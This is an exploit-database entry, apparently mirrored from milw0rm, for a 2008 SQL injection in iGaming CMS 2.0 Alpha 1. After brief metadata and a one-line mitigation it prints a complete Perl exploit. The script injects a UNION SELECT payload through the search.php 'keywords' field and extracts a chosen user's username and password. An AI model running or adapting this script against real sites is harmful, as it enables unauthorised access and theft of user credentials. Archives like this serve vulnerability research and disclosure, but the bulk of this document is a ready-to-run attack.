iGaming CMS 2.0 Alpha 1 Remote SQL Injection Exploit

vendor:

iGaming CMS

by:

StAkeR

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: iGaming CMS

Affected Version From: 2.0 Alpha 1

Affected Version To: 2.0 Alpha 1

Patch Exists: NO

Related CWE: N/A

CPE: a:igamingcms:igaming_cms

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

iGaming CMS 2.0 Alpha 1 Remote SQL Injection Exploit

This exploit allows an attacker to gain access to the username and password of a user in the iGaming CMS 2.0 Alpha 1 application. The attacker can use the 'union select' statement to inject malicious code into the application and gain access to the user credentials.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in SQL queries.

Source

Exploit-DB raw data:

#!/usr/bin/perl 
# -----------------------------------------------------
# iGaming CMS 2.0 Alpha 1 Remote SQL Injection Exploit
# By StAkeR aka athos - StAkeR[at]hotmail[dot]it
# On 16/10/2008
# http://www.igamingcms.com/iGaming_2_Alpha.zip
# -----------------------------------------------------

use strict;
use LWP::UserAgent;


my ($host,$id) = @ARGV;

usage() unless $host =~ /http:\/\/(.+?)$/ and $id =~ /^[0-9]/;

my $etc = "' union select 1,concat(0x616E6172636879,".
          "password,0x3a,username,0x616E6172636879),3".
          ",4,5 from sp_users where id=$id#";
          
my @search = ($etc,'all',0,'Search','search_games');          
my @split = undef;          
          
my $http = new LWP::UserAgent;
my $post = $http->post($host.'/search.php',
                      [
                       keywords => $search[0],
                       platform => $search[1],
                       exact    => $search[2],
                       submit   => $search[3],
                       do       => $search[4]
                     ]);
                     
if($post->is_success)
{
  if($post->as_string =~ /anarchy(.+?)anarchy/)
  {
    @split = split(':',$1);
    
    print "Username: $split[0]\r\n";
    print "Password: $split[1]\r\n";
  }
  else
  {
    print "Exploit Failed!\r\n";
  }
}

sub usage
{
  print "iGaming CMS 2.0 Alpha 1 Remote SQL Injection Exploit\r\n";
  print "Usage: perl $0 http://[host] [user_id]\r\n";
  exit;
}


            
__END__         

# milw0rm.com [2008-10-16]